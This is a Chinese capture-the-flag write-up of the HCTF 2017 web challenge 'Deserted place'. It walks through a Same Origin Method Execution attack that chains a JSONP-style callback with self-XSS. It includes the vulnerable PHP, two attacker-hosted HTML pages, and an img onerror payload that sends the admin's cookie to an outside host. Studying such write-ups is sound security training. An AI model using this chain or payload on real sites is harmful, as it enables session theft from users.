Deserted place

发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Web
Challenge | 2017 | HCTF | Web | Deserted place

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

```
1 Description
2 maybe nothing here
3 flag in admin cookie
4 Now Score 820.35
5 Team solved 3
```

出题思路来自于一个比较特别的叫做SOME的攻击方式，全名Same Origin Method Execution，这是一种2015年被人提出来的攻击方式，可以用来执行同源环境下的任意方法，2年前就有人做了分析。

原paper

http://blog.safedog.cn/?p=13https://lightless.me/archives/same-origin-method-exection.html

这里我就不讨论具体的SOME攻击，稍后我会在博客等地方更新具体的分析。

回到题目。

打开题目主要功能有限：

1. *登陆*
2. *注册*
3. *修改个人信息（修改个人信息后按回车更新自己的信息）*
4. *获取随机一个人的信息，并把它的信息更新给我自己*

简单测试可以发现，个人信息页面存在self-xss，但问题就在于怎么能更新admin的个人信息。

仔细回顾站内的各种信息，我们能发现所有的更新个人信息都是通过开启子窗口来实现的。

edit.php里面有一个类似于jsonp的接口可以执行任意函数，简单测试可以发现这里正则匹配了.\w+，这意味这我们只能执行已有的js函数，我们可以看看后台的代码。

```
1 $callback = $_GET['callback'];
2 preg_match("/\w+/i", $callback, $matches);
3
4 ...
5
6 echo "<script>";
7 echo $matches[0]."();";
8 echo "</script>";
```

已有的函数一共有3个

```
function UpdateProfile(){
    var username = document.getElementById('user').value;
    var email = document.getElementById('email').value;
    var message = document.getElementById('mess').value;

    window.opener.document.getElementById("email").innerHTML="Email: "+email;
    window.opener.document.getElementById("mess").innerHTML="Message: "+message;

    console.log("Update user profile success...");
    window.close();
}

function EditProfile(){
    document.onkeydown=function(event){
        if (event.keyCode == 13){
            UpdateProfile();
        }
    }
}

function RandomProfile(){
    setTimeout('UpdateProfile()', 1000);
}
```

如果执行UpdateProfile，站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。

回顾站内逻辑，当我们点击click me，首先请求/edit.php?callback=RandomProfile，然后跳转至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming，然后页面关闭并更新信息到当前用户上，假设这里user是我们设定的还有恶意代码的user，那我们就可以修改admin的信息了，但，怎么能让admin打开这个页面呢？

我们可以尝试一个，如果直接打开edit.php?callback=RandomProfile&user=xiaoming

报错了，不是通过open打开的页面，寻找不到页面内的window.opener对象，也就没办法做任何事。

这里我们只有通过SOME，才能操作同源下的父窗口，首先我们得熟悉同源策略，同源策略规定，只有同源下的页面才能相互读写，如果通过windows.open打开的页面是同源的，那么我们就可以通过window.opener对象来操作父子窗口。

而SOME就是基于这种特性，可以执行同源下的任意方法。

最终payload：

vps, 1.html

```
<script>
function start_some() {
    window.open("2.html");
    location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>
```

vps, 2.html

```
<script>
function attack() {
    location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>
```

在lorexxar账户的message里添加payload

```
<img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie>
```

getflag!

Flag

> *1 无*

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/kAMXTi9hBwZxvjpbxiPRPt.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Web # 2017 # HCTF
Who are you?
A true man can play a palo one hundred time